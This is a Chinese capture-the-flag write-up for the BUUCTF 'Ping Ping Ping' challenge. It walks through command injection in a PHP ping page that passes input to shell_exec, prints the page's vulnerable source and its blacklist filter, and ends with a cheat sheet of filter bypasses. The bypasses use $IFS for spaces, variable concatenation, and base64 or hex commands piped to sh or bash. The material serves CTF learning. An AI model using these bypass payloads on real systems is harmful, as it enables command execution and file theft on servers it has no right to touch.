【BUUCTF】Ping Ping Ping
【BUUCTF】Ping Ping Ping (命令执行绕过总结)
题目来源
收录于:BUUCTF GXYCTF2019
题目描述
提示较为明确,get方法传参127.0.0.1
后结果如下
比较容易想到联合执行命令,先看有哪些文件
尝试直接读取flag.php
读取失败,对空格进行了过滤。
题解
以下内容参考文章:https://blog.csdn.net/vanarrow/article/details/108295481
对空格的绕过比较简单,在kali默认的shell中验证后得出,绕过可用以下方式
${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X
内联执行:将反引号内命令的返回值(即输出值)作为整条命令的输入值
例如当命令为:
cat `ls`
即cat读取当前目录下的所有文件
因此可以使用上面的绕过方法配合内联执行,例如:
cat$IFS`ls`
cat$IFS$9`ls`
先读取一下index.php
的源码
?ip=127.0.0.1;cat$IFS$9index.php
美化后代码如下
<?php
$ip = $_GET['ip'];
if (preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!"); //不能包含的字符:& / ? * < > " \ ( ) [ ] { } ASCII值0到20之间的字符
} else if (preg_match("/ /", $ip)) {
die("fxck your space!"); // 不能包含空格
} else if (preg_match("/bash/", $ip)) { //不能包含bash
die("fxck your bash!");
} else if (preg_match("/.*f.*l.*a.*g.*/", $ip)) { //flag这四个字母不能按顺序出现在字符串中
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 " . $ip);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
我们看到不能直接输入flag
进行文件的读取,但是可以使用变量赋值的方式,例如:
?ip=127.0.0.1;X=g;cat$IFS$9fla$X.php
字符串fla
和变量$X
拼接形成flag
,成功绕过,flag显示在页面源码中
以下payload也可行:
?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php
?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php
?ip=127.0.0.1;X=la;cat$IFS$9`ls` //内联执行配合空格绕过
但以下payload不可行:
?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php
?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php
因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.
,因此可以成功解析
此外也可以使用base64编码绕过。虽然过滤了bash,但是可以使用sh
?ip=127.0.0.1;`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
总结
绕过空格
${IFS}
${IFS}$9 //这里$1到$9都可以
$IFS$1 //这里$1到$9都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
%09 (tab)
X=$'cat\x09./flag.php';$X // \x09表示tab,也可以用\x20
X='cat\x09./flag.php';$X
内联执行
cat `ls`
变量赋值
X=g;cat fla$X.php
base64编码绕过
echo Y2F0IGZsYWcucGhw|base64 -d|bash
echo Y2F0IGZsYWcucGhw|base64 -d|sh
`echo Y2F0IGZsYWcucGhw|base64 -d`
Hex编码绕过(前提:安装xxd)
echo 63617420666c61672e706870|xxd -r -p |bash
echo 63617420666c61672e706870|xxd -r -p |sh
`echo 63617420666c61672e706870|xxd -r -p`
其他方法
cat fl* //用*匹配任意
ca\t fla\g.php //反斜线绕过
cat fl''ag.php //两个单引号绕过
cat fl[a]g.php //用[]匹配
cp fla{g.php,G} //把flag.php复制为flaG
ca${21}t a.txt //{}中可以是任意数字
【BUUCTF】Ping Ping Ping的更多相关文章
- 【linux】 linux 禁止ping
linux 禁止 ping 一.修改内核参数 1.临时允许PING操作的命令为:echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all 2.永久允许PIN ...
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- 【BUUCTF】ACTF2020 新生赛Include1 write up
查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...
- 【分享】一个集成tracert和ping的网络监测工具
最近接到一个需求,需求背景是这样的:目前Windows平台下本身都有tracert和ping的实现,而且可以直接在cmd下使用. 需求中有两个要求: 1. Windows平台中的tracert执行速度 ...
- C#删除程序自身【总结】
偶然看到一个可以自删除的程序,于是了解下如何实现.然后整理如下: 思路: 在.NET程序中,因为运行中的程序是受系统保护的,不能自己删除自身的,所以自删除的思路: 在关闭本程序之前启动新的进程打开另 ...
- 【故障处理】ORA-28040: No matching authentication protocol
[故障处理]ORA-28040: No matching authentication protocol 1.1 BLOG文档结构图 1.2 前言部分 1.2.1 导读和注意事项 各位技术爱好者 ...
- 【转】IPtables学习笔记
写在前面,大家测试玩iptables时要记得自己配置了那些东西,测试完成后记得删除啊,博主忘了删除一个input REJECT链的一条记录,后续测试搭建了apache服务器,始终无法访问,最后抓包发现 ...
- 采用Atlas+Keepalived实现MySQL读写分离、读负载均衡【转载】
文章 原始出处 :http://sofar.blog.51cto.com/353572/1601552 ============================================== ...
- 【MongoDB】windows平台搭建Mongo数据库复制集(类似集群)(转)
原文链接:[MongoDB]windows平台搭建Mongo数据库复制集(类似集群)(一) Replica Sets(复制集)是在mongodDB1.6版本开始新增的功能,它可以实现故障自动切换和自 ...
- 【CSharp】C#开发ActiveX插件
这几天Web项目中需要用到ActiveX插件(PS:听说这个是好久好久的东西了...),由于项目中需要调用本地资源所以只能研究研究这位老兄了. 先说说自己学习他的经历,开始的时候是用百度引擎检索自己所 ...
随机推荐
- 09C++选择结构(3)——教学
一.求3个整数中最小值 (第20课 初识算法) 题目:输入三个整数,表示梨的重量,输出最小的数. 方法1:经过三次两两比较,得出最小值. a<=b && a<=c min= ...
- 使用IntersectionObserver 实现懒加载 && 记录一个懒加载失效的原因
先说说我实现懒加载失效的一个原因: 是图片没有写高度 猜想是没有给图片高度,所以底层没法进行计算 容器是否出现在视图中 IntersectionObservers作用 提供了一种异步观察目标元素与其祖 ...
- iOS app 自动化测试 - 环境搭建
1. 基本前提 安装好了 mac 上自动化测试的基本环境 如果没有,可以参考这一个: 2. iOS appium python自动化测试环境搭建 2.1 真机环境 2.1.1 前提:安装了 appiu ...
- Not all slots covered! Only 5461 slots are available. Set checkSlotsCoverage = false to avoid this check
Not all slots covered! Only 5461 slots are available. Set checkSlotsCoverage = false to avoid this c ...
- 关于Java的UUID
UUID或者UNID或者UID,是一个统一唯一标识,可以用来标记文档.数据或其它需要唯一标识的东西.Java 5.0内置UUID的实现,见java.util.UUID. 下面代码是找到的2种实现方式, ...
- FLASK的基础
1.导入flask from flask import Flask #导入所需要的包 app = Flask(__name__) #实例化对象 @app.route('/hello') #装饰器r ...
- Qt开源作品17-IP地址输入控件
一.前言 这个IP地址输入框控件,估计写烂了,网上随便一搜索,保证一大堆,估计也是因为这个控件太容易了,非常适合新手练手,一般的思路都是用4个qlineedit控件拼起来,然后每个输入框设置正则表达式 ...
- Python 潮流周刊#83:uv 的使用技巧(摘要)
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...
- 开源即时通讯IM框架 MobileIMSDK v6.2 发布
一.更新内容简介 本次更新为次要版本更新,进行了若干优化(更新历史详见:码云 Release Nodes).可能是市面上唯一同时支持 UDP+TCP+WebSocket 三种协议的同类开源IM框架. ...
- 我的c语言笔记
1. 进制转换 二进制.八进制和十六进制向十进制转换都非常容易,就是"按权相加".如:1010.1101 = 1×23 + 0×22 + 1×21 + 0×20 + 1×2-1 + ...